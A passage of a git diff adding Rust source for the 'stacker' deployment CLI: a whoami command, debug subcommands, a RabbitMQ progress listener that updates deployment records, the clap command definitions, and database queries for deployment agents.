name: {}", server_name)); + } + if let Some(ssh_user) = &lock.ssh_user { + lines.push(format!(" SSH user: {}", ssh_user)); + } + lines.push(format!(" Recorded at: {}", lock.deployed_at)); + lines + } + None => vec!["Current project: no deployment context found".to_string()], + } +} + +impl CallableTrait for WhoamiCommand { + fn call(&self) -> Result<(), Box> { + let creds = CredentialsManager::with_default_store().load()?; + for line in describe_saved_login(creds.as_ref()) { + println!("{}", line); + } + + let project_dir = std::env::current_dir()?; + let project_lock = load_project_lock(&project_dir)?; + println!(); + for line in describe_project_lock(project_lock.as_ref()) { + println!("{}", line); + } + + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use chrono::{Duration, Utc}; + + #[test] + fn describe_saved_login_marks_expired_credentials() { + let creds = StoredCredentials { + access_token: "token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: Utc::now() - Duration::minutes(1), + email: Some("user@example.com".to_string()), + server_url: Some("https://stacker.example".to_string()), + org: Some("demo".to_string()), + domain: None, + }; + + let lines = describe_saved_login(Some(&creds)); + assert!(lines[0].contains("user@example.com")); + assert!(lines[0].contains("(expired)")); + assert!(lines + .iter() + .any(|line| line.contains("https://stacker.example"))); + } + + #[test] + fn describe_project_lock_shows_recorded_deployer() { + let lock = DeploymentLock::for_local() + .with_project_name(Some("demo".into())) + .with_stacker_email(Some("owner@example.com".into())); + + let lines = describe_project_lock(Some(&lock)); + assert!(lines.iter().any(|line| line.contains("owner@example.com"))); + assert!(lines.iter().any(|line| line.contains("demo"))); + } +} diff --git a/stacker/stacker/src/console/commands/debug/casbin.rs b/stacker/stacker/src/console/commands/debug/casbin.rs new file mode 100644 index 0000000..db662ef --- /dev/null +++ b/stacker/stacker/src/console/commands/debug/casbin.rs @@ -0,0 +1,64 @@ +use crate::configuration::get_configuration; +use crate::middleware; +use actix_web::{rt, web, Result}; +use casbin::CoreApi; +use sqlx::PgPool; + +pub struct CasbinCommand { + action: String, + path: String, + subject: String, +} + +impl CasbinCommand { + pub fn new(action: String, path: String, subject: String) -> Self { + Self { + action, + path, + subject, + } + } +} + +impl crate::console::commands::CallableTrait for CasbinCommand { + fn call(&self) -> Result<(), Box> { + rt::System::new().block_on(async { + let settings = get_configuration().expect("Failed to read configuration."); + let db_pool = PgPool::connect(&settings.database.connection_string()) + .await + .expect("Failed to connect to database."); + + let settings = web::Data::new(settings); + let _db_pool = web::Data::new(db_pool); + + let mut authorization_service = + middleware::authorization::try_new(settings.database.connection_string()).await?; + let casbin_enforcer = authorization_service.get_enforcer(); + + let mut lock = casbin_enforcer.write().await; + let policies = lock + .get_model() + .get_model() + .get("p") + .unwrap() + .get("p") + .unwrap() + .get_policy(); + for (pos, policy) in policies.iter().enumerate() { + println!("{pos}: {policy:?}"); + } + + #[cfg(feature = "explain")] + { + lock.enable_log(true); + } + let _ = lock.enforce_mut(vec![ + self.subject.clone(), + self.path.clone(), + self.action.clone(), + ]); + + Ok(()) + }) + } +} diff --git a/stacker/stacker/src/console/commands/debug/dockerhub.rs b/stacker/stacker/src/console/commands/debug/dockerhub.rs new file mode 100644 index 0000000..a61a0fb --- /dev/null +++ b/stacker/stacker/src/console/commands/debug/dockerhub.rs @@ -0,0 +1,36 @@ +use crate::forms::project::DockerImage; +use crate::helpers::dockerhub::DockerHub; +use actix_web::{rt, Result}; + +use tracing_subscriber::FmtSubscriber; + +pub struct DockerhubCommand { + json: String, +} + +impl DockerhubCommand { + pub fn new(json: String) -> Self { + Self { json } + } +} + +impl crate::console::commands::CallableTrait for DockerhubCommand { + fn call(&self) -> Result<(), Box> { + let subscriber = FmtSubscriber::builder() + .with_max_level(tracing::Level::DEBUG) + .finish(); + tracing::subscriber::set_global_default(subscriber) + .expect("setting default subscriber failed"); + + rt::System::new().block_on(async { + println!("{}", self.json); + let docker_image: DockerImage = serde_json::from_str(&self.json)?; + let dockerhub = DockerHub::try_from(&docker_image)?; + let is_active = dockerhub.is_active().await?; + + println!("image is active: {is_active}"); + + Ok(()) + }) + } +} diff --git a/stacker/stacker/src/console/commands/debug/json.rs b/stacker/stacker/src/console/commands/debug/json.rs new file mode 100644 index 0000000..13c7d38 --- /dev/null +++ b/stacker/stacker/src/console/commands/debug/json.rs @@ -0,0 +1,53 @@ +use actix_web::Result; + +pub struct JsonCommand { + line: usize, + column: usize, + payload: String, +} + +impl JsonCommand { + pub fn new(line: usize, column: usize, payload: String) -> Self { + Self { + line, + column, + payload, + } + } +} + +impl crate::console::commands::CallableTrait for JsonCommand { + fn call(&self) -> Result<(), Box> { + let payload: String = std::fs::read_to_string(&self.payload)?; + let index = line_column_to_index(payload.as_ref(), self.line, self.column); + let prefix = String::from_utf8( + >::as_ref(&payload)[..index].to_vec(), + ) + .unwrap(); + + println!("{}", prefix); + Ok(()) + } +} + +fn line_column_to_index(u8slice: &[u8], line: usize, column: usize) -> usize { + let mut l = 1; + let mut c = 0; + let mut i = 0; + for ch in u8slice { + i += 1; + match ch { + b'\n' => { + l += 1; + c = 0; + } + _ => { + c += 1; + } + } + if line == l && c == column { + break; + } + } + return i; +} diff --git a/stacker/stacker/src/console/commands/debug/mod.rs b/stacker/stacker/src/console/commands/debug/mod.rs new file mode 100644 index 0000000..4e735b8 --- /dev/null +++ b/stacker/stacker/src/console/commands/debug/mod.rs @@ -0,0 +1,7 @@ +mod casbin; +mod dockerhub; +mod json; + +pub use casbin::*; +pub use dockerhub::*; +pub use json::*; diff --git a/stacker/stacker/src/console/commands/mod.rs b/stacker/stacker/src/console/commands/mod.rs new file mode 100644 index 0000000..d85f790 --- /dev/null +++ b/stacker/stacker/src/console/commands/mod.rs @@ -0,0 +1,9 @@ +pub mod agent; +pub mod appclient; +mod callable; +pub mod cli; +pub mod debug; +pub mod mq; + +pub use callable::*; +pub use mq::*; diff --git a/stacker/stacker/src/console/commands/mq/listener.rs b/stacker/stacker/src/console/commands/mq/listener.rs new file mode 100644 index 0000000..daa263c --- /dev/null +++ b/stacker/stacker/src/console/commands/mq/listener.rs @@ -0,0 +1,364 @@ +use crate::configuration::get_configuration; +use crate::db; +use crate::helpers::ip::extract_ipv4_from_text; +use crate::helpers::mq_manager::MqManager; +use actix_web::rt; +use actix_web::web; +use chrono::Utc; +use db::deployment; +use futures_lite::stream::StreamExt; +use lapin::options::{BasicAckOptions, BasicConsumeOptions}; +use lapin::types::FieldTable; +use serde_derive::{Deserialize, Serialize}; +use sqlx::PgPool; +use std::time::Duration; +use tokio::time::sleep; + +pub struct ListenCommand {} + +use serde_json::Value; + +fn string_or_number<'de, D>(deserializer: D) -> Result +where + D: serde::Deserializer<'de>, +{ + let v: Value = serde::Deserialize::deserialize(deserializer)?; + match v { + Value::String(s) => Ok(s), + Value::Number(n) => Ok(n.to_string()), + _ => Err(serde::de::Error::custom("expected string or number")), + } +} + +fn optional_string_or_number<'de, D>(deserializer: D) -> Result, D::Error> +where + D: serde::Deserializer<'de>, +{ + let v: Option = serde::Deserialize::deserialize(deserializer)?; + match v { + Some(Value::String(s)) => Ok(Some(s)), + Some(Value::Number(n)) => Ok(Some(n.to_string())), + Some(Value::Null) | None => Ok(None), + _ => Err(serde::de::Error::custom("expected string, number, or null")), + } +} + +#[derive(Serialize, Deserialize, Debug)] +struct ProgressMessage { + #[serde(deserialize_with = "string_or_number")] + id: String, + #[serde(default, deserialize_with = "optional_string_or_number")] + deploy_id: Option, + #[serde(default)] + deployment_hash: Option, + alert: i32, + message: String, + status: String, + #[serde(deserialize_with = "string_or_number")] + progress: String, + /// Server IP returned by install service after cloud provisioning + #[serde(default)] + srv_ip: Option, + /// SSH port (default 22) + #[serde(default)] + ssh_port: Option, +} + +impl ListenCommand { + pub fn new() -> Self { + Self {} + } +} + +fn progress_message_server_ip(msg: &ProgressMessage) -> Option { + msg.srv_ip + .as_deref() + .map(str::trim) + .filter(|ip| !ip.is_empty()) + .map(ToOwned::to_owned) + .or_else(|| extract_ipv4_from_text(&msg.message)) +} + +impl crate::console::commands::CallableTrait for ListenCommand { + fn call(&self) -> Result<(), Box> { + rt::System::new().block_on(async { + let settings = get_configuration().expect("Failed to read configuration."); + let db_pool = PgPool::connect(&settings.database.connection_string()) + .await + .expect("Failed to connect to database."); + + let db_pool = web::Data::new(db_pool); + let queue_name = "stacker_listener"; + + // Outer loop for reconnection on connection errors + loop { + println!("Connecting to RabbitMQ..."); + + // Try to establish connection with retry + let mq_manager = + match Self::connect_with_retry(&settings.amqp.connection_string()).await { + Ok(m) => m, + Err(e) => { + eprintln!("Failed to connect to RabbitMQ after retries: {}", e); + sleep(Duration::from_secs(5)).await; + continue; + } + }; + + let consumer_channel = match mq_manager + .consume("install_progress", queue_name, "install.progress.*.*.*") + .await + { + Ok(c) => c, + Err(e) => { + eprintln!("Failed to create consumer: {}", e); + sleep(Duration::from_secs(5)).await; + continue; + } + }; + + println!("Declare queue"); + let mut consumer = match consumer_channel + .basic_consume( + queue_name, + "console_listener", + BasicConsumeOptions::default(), + FieldTable::default(), + ) + .await + { + Ok(c) => c, + Err(e) => { + eprintln!("Failed basic_consume: {}", e); + sleep(Duration::from_secs(5)).await; + continue; + } + }; + + println!("Waiting for messages .."); + + // Inner loop for processing messages + while let Some(delivery_result) = consumer.next().await { + let delivery = match delivery_result { + Ok(d) => d, + Err(e) => { + eprintln!("Consumer error (will reconnect): {}", e); + break; // Break inner loop to reconnect + } + }; + + let s: String = match String::from_utf8(delivery.data.to_owned()) { + Ok(v) => v, + Err(e) => { + eprintln!("Invalid UTF-8 sequence: {}", e); + if let Err(ack_err) = delivery.ack(BasicAckOptions::default()).await { + eprintln!("Failed to ack invalid message: {}", ack_err); + } + continue; + } + }; + + let statuses = vec![ + "complete", + "completed", + "paused", + "failed", + "cancelled", + "in_progress", + "error", + "wait_resume", + "wait_start", + "confirmed", + ]; + + match serde_json::from_str::(&s) { + Ok(msg) => { + println!("message {:?}", s); + + if statuses.contains(&(msg.status.as_ref())) { + let normalized_status = if msg.status == "complete" { + "completed".to_string() + } else { + msg.status.clone() + }; + // Try to find deployment by deploy_id or deployment_hash + let deployment_result = if let Some(ref deploy_id_str) = + msg.deploy_id + { + // Try deploy_id first (numeric ID) + if let Ok(id) = deploy_id_str.parse::() { + deployment::fetch(db_pool.get_ref(), id).await + } else if let Some(ref hash) = msg.deployment_hash { + // deploy_id might be the hash string + deployment::fetch_by_deployment_hash( + db_pool.get_ref(), + hash, + ) + .await + } else { + // Try deploy_id as hash + deployment::fetch_by_deployment_hash( + db_pool.get_ref(), + deploy_id_str, + ) + .await + } + } else if let Some(ref hash) = msg.deployment_hash { + // Use deployment_hash + deployment::fetch_by_deployment_hash(db_pool.get_ref(), hash) + .await + } else { + // No identifier available + println!("No deploy_id or deployment_hash in message"); + if let Err(ack_err) = + delivery.ack(BasicAckOptions::default()).await + { + eprintln!("Failed to ack: {}", ack_err); + } + continue; + }; + + match deployment_result { + Ok(Some(mut row)) => { + row.status = normalized_status; + row.updated_at = Utc::now(); + + // Persist the progress message in metadata so the + // status API can surface error details to CLI users. + if !msg.message.is_empty() { + if let Some(obj) = row.metadata.as_object_mut() { + obj.insert( + "status_message".to_string(), + serde_json::Value::String(msg.message.clone()), + ); + } else { + row.metadata = serde_json::json!({ + "status_message": msg.message + }); + } + } + + // Update server.srv_ip whenever the progress + // message carries an IP from the cloud provisioner. + // Previously this was gated on status == "completed", + // but the IP is already known after Terraform succeeds + // even when the subsequent Ansible step fails (status + // "paused" / "failed"). + if let Some(ip) = progress_message_server_ip(&msg) { + match db::server::update_srv_ip( + db_pool.get_ref(), + row.project_id, + &ip, + msg.ssh_port, + ) + .await + { + Ok(s) => println!( + "Updated server {} srv_ip={} for project {}", + s.id, ip, row.project_id + ), + Err(e) => eprintln!( + "Failed to update srv_ip for project {}: {}", + row.project_id, e + ), + } + } + + println!( + "Deployment {} updated with status {}", + &row.id, &row.status + ); + if let Err(e) = + deployment::update(db_pool.get_ref(), row).await + { + eprintln!("Failed to update deployment: {}", e); + } + } + Ok(None) => println!("Deployment record was not found in db"), + Err(e) => eprintln!("Failed to fetch deployment: {}", e), + } + } + } + Err(_err) => { + tracing::debug!("Invalid message format {:?}", _err) + } + } + + if let Err(ack_err) = delivery.ack(BasicAckOptions::default()).await { + eprintln!("Failed to ack message: {}", ack_err); + break; // Connection likely lost, reconnect + } + } + + println!("Consumer loop ended, reconnecting in 5s..."); + sleep(Duration::from_secs(5)).await; + } + }) + } +} + +impl ListenCommand { + async fn connect_with_retry(connection_string: &str) -> Result { + let max_retries = 10; + let mut retry_delay = Duration::from_secs(1); + + for attempt in 1..=max_retries { + println!("RabbitMQ connection attempt {}/{}", attempt, max_retries); + + match MqManager::try_new(connection_string.to_string()) { + Ok(manager) => { + println!("Connected to RabbitMQ"); + return Ok(manager); + } + Err(e) => { + eprintln!("Connection attempt {} failed: {}", attempt, e); + if attempt < max_retries { + sleep(retry_delay).await; + retry_delay = std::cmp::min(retry_delay * 2, Duration::from_secs(30)); + } + } + } + } + + Err(format!("Failed to connect after {} attempts", max_retries)) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn progress_message(message: &str, srv_ip: Option<&str>) -> ProgressMessage { + ProgressMessage { + id: "1".to_string(), + deploy_id: Some("174".to_string()), + deployment_hash: Some("hash".to_string()), + alert: 0, + message: message.to_string(), + status: "paused".to_string(), + progress: "90".to_string(), + srv_ip: srv_ip.map(ToOwned::to_owned), + ssh_port: Some(22), + } + } + + #[test] + fn progress_message_server_ip_prefers_structured_srv_ip() { + let msg = progress_message("178.104.222.170: Copy files is done", Some("203.0.113.42")); + + assert_eq!( + progress_message_server_ip(&msg), + Some("203.0.113.42".to_string()) + ); + } + + #[test] + fn progress_message_server_ip_falls_back_to_message_prefix() { + let msg = progress_message("178.104.222.170: Copy files is done", None); + + assert_eq!( + progress_message_server_ip(&msg), + Some("178.104.222.170".to_string()) + ); + } +} diff --git a/stacker/stacker/src/console/commands/mq/mod.rs b/stacker/stacker/src/console/commands/mq/mod.rs new file mode 100644 index 0000000..e126e2b --- /dev/null +++ b/stacker/stacker/src/console/commands/mq/mod.rs @@ -0,0 +1,2 @@ +mod listener; +pub use listener::*; diff --git a/stacker/stacker/src/console/main.rs b/stacker/stacker/src/console/main.rs new file mode 100644 index 0000000..cece8df --- /dev/null +++ b/stacker/stacker/src/console/main.rs @@ -0,0 +1,544 @@ +use clap::{Parser, Subcommand}; + +#[derive(Parser, Debug)] +#[command( + name = "stacker-cli", + version = env!("CARGO_PKG_VERSION"), + about = "Stacker multi-tool CLI", + subcommand_required = false, + arg_required_else_help = false +)] +struct Cli { + #[command(subcommand)] + command: Option, +} + +#[derive(Debug, Subcommand)] +enum Commands { + AppClient { + #[command(subcommand)] + command: AppClientCommands, + }, + Debug { + #[command(subcommand)] + command: DebugCommands, + }, + MQ { + #[command(subcommand)] + command: AppMqCommands, + }, + Agent { + #[command(subcommand)] + command: AgentCommands, + }, + /// Stacker CLI — deploy apps from a stacker.yml config + Stacker { + #[command(subcommand)] + command: StackerCommands, + }, +} + +#[derive(Debug, Subcommand)] +enum AgentCommands { + RotateToken { + #[arg(long)] + deployment_hash: String, + #[arg(long)] + new_token: String, + }, +} + +#[derive(Debug, Subcommand)] +enum AppClientCommands { + New { + #[arg(long)] + user_id: i32, + }, +} + +#[derive(Debug, Subcommand)] +enum DebugCommands { + Json { + #[arg(long)] + line: usize, + #[arg(long)] + column: usize, + #[arg(long)] + payload: String, + }, + Casbin { + #[arg(long)] + action: String, + #[arg(long)] + path: String, + #[arg(long)] + subject: String, + }, + Dockerhub { + #[arg(long)] + json: String, + }, +} + +#[derive(Debug, Subcommand)] +enum AppMqCommands { + Listen {}, +} + +#[derive(Debug, Subcommand)] +enum StackerCommands { + /// Authenticate with the TryDirect platform + Login { + #[arg(long)] + org: Option, + #[arg(long)] + domain: Option, + /// User Service auth URL (or set STACKER_AUTH_URL) + #[arg(long = "auth-url")] + auth_url: Option, + /// Stacker API base URL (or set STACKER_URL) + #[arg(long = "server-url", visible_alias = "api-url")] + server_url: Option, + }, + /// Show the saved login and current project's recorded deploy identity + Whoami {}, + /// Initialize a new stacker project (stacker.yml + Dockerfile) + Init { + #[arg(long, value_name = "TYPE")] + app_type: Option, + #[arg(long)] + with_proxy: bool, + #[arg(long)] + with_ai: bool, + #[arg(long)] + with_cloud: bool, + /// AI provider: openai, anthropic, ollama, custom (default: ollama) + #[arg(long, value_name = "PROVIDER")] + ai_provider: Option, + /// AI model name (e.g. gpt-4o, claude-sonnet-4-20250514, llama3) + #[arg(long, value_name = "MODEL")] + ai_model: Option, + /// AI API key (or set OPENAI_API_KEY / ANTHROPIC_API_KEY env var) + #[arg(long, value_name = "KEY")] + ai_api_key: Option, + }, + /// Build & deploy the stack + Deploy { + #[arg(long, value_name = "TARGET")] + target: Option, + #[arg(long, value_name = "FILE")] + file: Option, + #[arg(long)] + dry_run: bool, + #[arg(long)] + force_rebuild: bool, + /// Project name on the Stacker server + #[arg(long, value_name = "NAME")] + project: Option, + /// Deployment environment/profile to use + #[arg(long = "env", visible_alias = "environment", value_name = "NAME")] + environment: Option, + /// Name of saved cloud credential to reuse + #[arg(long, value_name = "KEY_NAME")] + key: Option, + /// ID of saved cloud credential to reuse + #[arg(long, value_name = "CLOUD_ID")] + key_id: Option, + /// Name of saved server to reuse + #[arg(long, value_name = "SERVER_NAME")] + server: Option, + }, + /// Attach this directory to an existing deployment from the dashboard + Connect { + /// Handoff token or full handoff URL copied from the dashboard + #[arg(long, value_name = "TOKEN_OR_URL")] + handoff: String, + }, + /// Show container logs + Logs { + #[arg(long)] + service: Option, + #[arg(long, short)] + follow: bool, + #[arg(long)] + tail: Option, + #[arg(long)] + since: Option, + }, + /// Show deployment status + Status { + #[arg(long)] + json: bool, + #[arg(long)] + watch: bool, + }, + /// Tear down the deployed stack + Destroy { + #[arg(long)] + volumes: bool, + #[arg(long, short = 'y')] + confirm: bool, + }, + /// Roll back a marketplace deployment to a prior template version + Rollback { + #[arg(long, value_name = "VERSION")] + version: String, + #[arg(long, short = 'y')] + confirm: bool, + }, + /// Configuration management + Config { + #[command(subcommand)] + command: StackerConfigCommands, + }, + /// AI-assisted operations — run without a subcommand to start interactive chat + Ai { + #[command(subcommand)] + command: Option, + /// Enable write mode: AI may create/edit files in `.stacker/` and + /// `stacker.yml`. Applies to both interactive chat and `ask`. + #[arg(long, global = true)] + write: bool, + }, + /// Reverse-proxy management + Proxy { + #[command(subcommand)] + command: StackerProxyCommands, + }, + /// Self-update + Update { + #[arg(long)] + channel: Option, + }, +} + +#[derive(Debug, Subcommand)] +enum StackerConfigCommands { + /// Validate stacker.yml + Validate { + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Show resolved configuration + Show { + #[arg(long, value_name = "FILE")] + file: Option, + /// Show paths, hash/version metadata, and contributing layers without values + #[arg(long)] + resolved: bool, + }, + /// Print a full commented `stacker.yml` reference example + Example, + /// Interactively fix missing required config fields + Fix { + #[arg(long, value_name = "FILE")] + file: Option, + #[arg(long, default_value_t = true)] + interactive: bool, + }, + /// Persist deployment lock into stacker.yml (writes deploy.server from last deploy) + Lock { + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Remove deploy.server section from stacker.yml (allows fresh cloud provision) + Unlock { + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Guided setup helpers + Setup { + #[command(subcommand)] + command: StackerConfigSetupCommands, + }, +} + +#[derive(Debug, Subcommand)] +enum StackerConfigSetupCommands { + /// Configure cloud deployment defaults in stacker.yml + Cloud { + #[arg(long, value_name = "FILE")] + file: Option, + }, + /// Configure AI defaults in stacker.yml + Ai { + #[arg(long, value_name = "FILE")] + file: Option, + /// AI provider: openai, anthropic, ollama, custom + #[arg(long, value_name = "PROVIDER")] + provider: Option, + /// AI endpoint, e.g. http://localhost:11434 for Ollama + #[arg(long, value_name = "URL")] + endpoint: Option, + /// AI model name, e.g. llama3.1 + #[arg(long, value_name = "MODEL")] + model: Option, + /// AI request timeout in seconds + #[arg(long, value_name = "SECONDS")] + timeout: Option, + /// AI task name. Repeat or use comma-separated values. + #[arg(long = "task", value_name = "TASK")] + tasks: Vec, + }, + /// Advanced/debug: generate remote orchestrator payload and wire stacker.yml + RemotePayload { + #[arg(long, value_name = "FILE")] + file: Option, + #[arg(long, value_name = "OUT")] + out: Option, + }, +} + +#[derive(Debug, Subcommand)] +enum StackerAiCommands { + /// Ask the AI a question about your stack + Ask { + question: String, + #[arg(long)] + context: Option, + #[arg(long)] + configure: bool, + /// Enable agentic mode: the AI may call write_file / read_file tools to + /// directly modify project files. Requires a tool-capable model + /// (Ollama: llama3.1 / qwen2.5-coder; OpenAI: any). + #[arg(long)] + write: bool, + }, +} + +#[derive(Debug, Subcommand)] +enum StackerProxyCommands { + /// Add a reverse-proxy entry for a domain + Add { + domain: String, + #[arg(long)] + upstream: Option, + #[arg(long, num_args = 0..=1, default_missing_value = "auto")] + ssl: Option, + #[arg(long)] + force: bool, + #[arg(long)] + json: bool, + #[arg(long)] + deployment: Option, + }, + /// Detect existing reverse-proxy containers + Detect { + /// Output as JSON + #[arg(long)] + json: bool, + /// Target a specific deployment by hash + #[arg(long)] + deployment: Option, + }, +} + +fn main() -> Result<(), Box> { + let cli = Cli::parse(); + + let Some(command) = cli.command else { + println!("stacker-cli {}", env!("CARGO_PKG_VERSION")); + return Ok(()); + }; + + get_command(command)?.call() +} + +fn get_command( + command: Commands, +) -> Result, String> { + match command { + Commands::AppClient { command } => match command { + AppClientCommands::New { user_id } => Ok(Box::new( + stacker::console::commands::appclient::NewCommand::new(user_id), + )), + }, + Commands::Debug { command } => match command { + DebugCommands::Json { + line, + column, + payload, + } => Ok(Box::new( + stacker::console::commands::debug::JsonCommand::new(line, column, payload), + )), + DebugCommands::Casbin { + action, + path, + subject, + } => Ok(Box::new( + stacker::console::commands::debug::CasbinCommand::new(action, path, subject), + )), + DebugCommands::Dockerhub { json } => Ok(Box::new( + stacker::console::commands::debug::DockerhubCommand::new(json), + )), + }, + Commands::MQ { command } => match command { + AppMqCommands::Listen {} => Ok(Box::new( + stacker::console::commands::mq::ListenCommand::new(), + )), + }, + Commands::Agent { command } => match command { + AgentCommands::RotateToken { + deployment_hash, + new_token, + } => Ok(Box::new( + stacker::console::commands::agent::RotateTokenCommand::new( + deployment_hash, + new_token, + ), + )), + }, + Commands::Stacker { command } => match command { + StackerCommands::Login { + org, + domain, + auth_url, + server_url, + } => Ok(Box::new( + stacker::console::commands::cli::login::LoginCommand::new( + org, + domain, + auth_url, + server_url, + ), + )), + StackerCommands::Whoami {} => Ok(Box::new( + stacker::console::commands::cli::whoami::WhoamiCommand::new(), + )), + StackerCommands::Init { + app_type, + with_proxy, + with_ai, + with_cloud, + ai_provider, + ai_model, + ai_api_key, + } => Ok(Box::new( + stacker::console::commands::cli::init::InitCommand::new( + app_type, with_proxy, with_ai, with_cloud, + ) + .with_ai_options(ai_provider, ai_model, ai_api_key), + )), + StackerCommands::Deploy { + target, + file, + dry_run, + force_rebuild, + project, + environment, + key, + key_id, + server, + } => Ok(Box::new( + stacker::console::commands::cli::deploy::DeployCommand::new( + target, + file, + dry_run, + force_rebuild, + ) + .with_remote_overrides(project, key, server) + .with_environment(environment) + .with_key_id(key_id), + )), + StackerCommands::Connect { handoff } => Ok(Box::new( + stacker::console::commands::cli::connect::ConnectCommand::new(handoff), + )), + StackerCommands::Logs { + service, + follow, + tail, + since, + } => Ok(Box::new( + stacker::console::commands::cli::logs::LogsCommand::new( + service, follow, tail, since, + ), + )), + StackerCommands::Status { json, watch } => Ok(Box::new( + stacker::console::commands::cli::status::StatusCommand::new(json, watch), + )), + StackerCommands::Destroy { volumes, confirm } => Ok(Box::new( + stacker::console::commands::cli::destroy::DestroyCommand::new(volumes, confirm), + )), + StackerCommands::Rollback { version, confirm } => Ok(Box::new( + stacker::console::commands::cli::rollback::RollbackCommand::new(version, confirm), + )), + StackerCommands::Config { command: cfg_cmd } => match cfg_cmd { + StackerConfigCommands::Validate { file } => Ok(Box::new( + stacker::console::commands::cli::config::ConfigValidateCommand::new(file), + )), + StackerConfigCommands::Show { file, resolved } => Ok(Box::new( + stacker::console::commands::cli::config::ConfigShowCommand::new(file, resolved), + )), + StackerConfigCommands::Example => Ok(Box::new( + stacker::console::commands::cli::config::ConfigExampleCommand::new(), + )), + StackerConfigCommands::Fix { file, interactive } => Ok(Box::new( + stacker::console::commands::cli::config::ConfigFixCommand::new(file, interactive), + )), + StackerConfigCommands::Lock { file } => Ok(Box::new( + stacker::console::commands::cli::config::ConfigLockCommand::new(file), + )), + StackerConfigCommands::Unlock { file } => Ok(Box::new( + stacker::console::commands::cli::config::ConfigUnlockCommand::new(file), + )), + StackerConfigCommands::Setup { command } => match command { + StackerConfigSetupCommands::Cloud { file } => Ok(Box::new( + stacker::console::commands::cli::config::ConfigSetupCloudCommand::new(file), + )), + StackerConfigSetupCommands::Ai { + file, + provider, + endpoint, + model, + timeout, + tasks, + } => Ok(Box::new( + stacker::console::commands::cli::config::ConfigSetupAiCommand::new( + file, provider, endpoint, model, timeout, tasks, + ), + )), + StackerConfigSetupCommands::RemotePayload { file, out } => Ok(Box::new( + stacker::console::commands::cli::config::ConfigSetupRemotePayloadCommand::new(file, out), + )), + }, + }, + StackerCommands::Ai { command: ai_cmd, write } => match ai_cmd { + None => Ok(Box::new( + stacker::console::commands::cli::ai::AiChatCommand::new(write), + )), + Some(StackerAiCommands::Ask { + question, + context, + configure, + write: ask_write, + }) => Ok(Box::new( + stacker::console::commands::cli::ai::AiAskCommand::new(question, context) + .with_configure(configure) + .with_write(write || ask_write), + )), + }, + StackerCommands::Proxy { + command: proxy_cmd, + } => match proxy_cmd { + StackerProxyCommands::Add { + domain, + upstream, + ssl, + force, + json, + deployment, + } => Ok(Box::new( + stacker::console::commands::cli::proxy::ProxyAddCommand::new( + domain, upstream, ssl, force, json, deployment, + ), + )), + StackerProxyCommands::Detect { json, deployment } => Ok(Box::new( + stacker::console::commands::cli::proxy::ProxyDetectCommand::new(json, deployment), + )), + }, + StackerCommands::Update { channel } => Ok(Box::new( + stacker::console::commands::cli::update::UpdateCommand::new(channel), + )), + }, + } +} diff --git a/stacker/stacker/src/console/mod.rs b/stacker/stacker/src/console/mod.rs new file mode 100644 index 0000000..82b6da3 --- /dev/null +++ b/stacker/stacker/src/console/mod.rs @@ -0,0 +1 @@ +pub mod commands; diff --git a/stacker/stacker/src/db/agent.rs b/stacker/stacker/src/db/agent.rs new file mode 100644 index 0000000..f39646d --- /dev/null +++ b/stacker/stacker/src/db/agent.rs @@ -0,0 +1,202 @@ +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; +use uuid::Uuid; + +pub async fn insert(pool: &PgPool, agent: models::Agent) -> Result { + let query_span = tracing::info_span!("Inserting agent into database"); + sqlx::query_as::<_, models::Agent>( + r#" + INSERT INTO agents (id, deployment_hash, capabilities, version, system_info, + last_heartbeat, status, created_at, updated_at) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9) + RETURNING id, deployment_hash, capabilities, version, system_info, + last_heartbeat, status, created_at, updated_at + "#, + ) + .bind(agent.id) + .bind(agent.deployment_hash) + .bind(agent.capabilities) + .bind(agent.version) + .bind(agent.system_info) + .bind(agent.last_heartbeat) + .bind(agent.status) + .bind(agent.created_at) + .bind(agent.updated_at) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to insert agent: {:?}", err); + "Failed to create agent".to_string() + }) +} + +pub async fn fetch_by_id(pool: &PgPool, agent_id: Uuid) -> Result, String> { + let query_span = tracing::info_span!("Fetching agent by ID"); + sqlx::query_as::<_, models::Agent>( + r#" + SELECT id, deployment_hash, capabilities, version, system_info, + last_heartbeat, status, created_at, updated_at + FROM agents + WHERE id = $1 + "#, + ) + .bind(agent_id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch agent: {:?}", err); + "Database error".to_string() + }) +} + +pub async fn fetch_by_deployment_hash( + pool: &PgPool, + deployment_hash: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching agent by deployment_hash"); + sqlx::query_as::<_, models::Agent>( + r#" + SELECT id, deployment_hash, capabilities, version, system_info, + last_heartbeat, status, created_at, updated_at + FROM agents + WHERE deployment_hash = $1 + "#, + ) + .bind(deployment_hash) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch agent by deployment_hash: {:?}", err); + "Database error".to_string() + }) +} + +/// Fetch the most recently heartbeated agent for a project (heartbeat within last 5 minutes). +pub async fn fetch_active_by_project( + pool: &PgPool, + project_id: i32, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching active agent by project"); + sqlx::query_as::<_, models::Agent>( + r#" + SELECT a.id, a.deployment_hash, a.capabilities, a.version, a.system_info, + a.last_heartbeat, a.status, a.created_at, a.updated_at + FROM agents a + JOIN deployment d ON a.deployment_hash = d.deployment_hash + WHERE d.project_id = $1 + AND a.last_heartbeat > NOW() - INTERVAL '5 minutes' + ORDER BY a.last_heartbeat DESC + LIMIT 1 + "#, + ) + .bind(project_id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch active agent by project: {:?}", err); + "Database error".to_string() + }) +} + +pub async fn update_heartbeat(pool: &PgPool, agent_id: Uuid, status: &str) -> Result<(), String> { + let query_span = tracing::info_span!("Updating agent heartbeat"); + sqlx::query!( + r#" + UPDATE agents + SET last_heartbeat = NOW(), status = $2, updated_at = NOW() + WHERE id = $1 + "#, + agent_id, + status, + ) + .execute(pool) + .instrument(query_span) + .await + .map(|_| ()) + .map_err(|err| { + tracing::error!("Failed to update agent heartbeat: 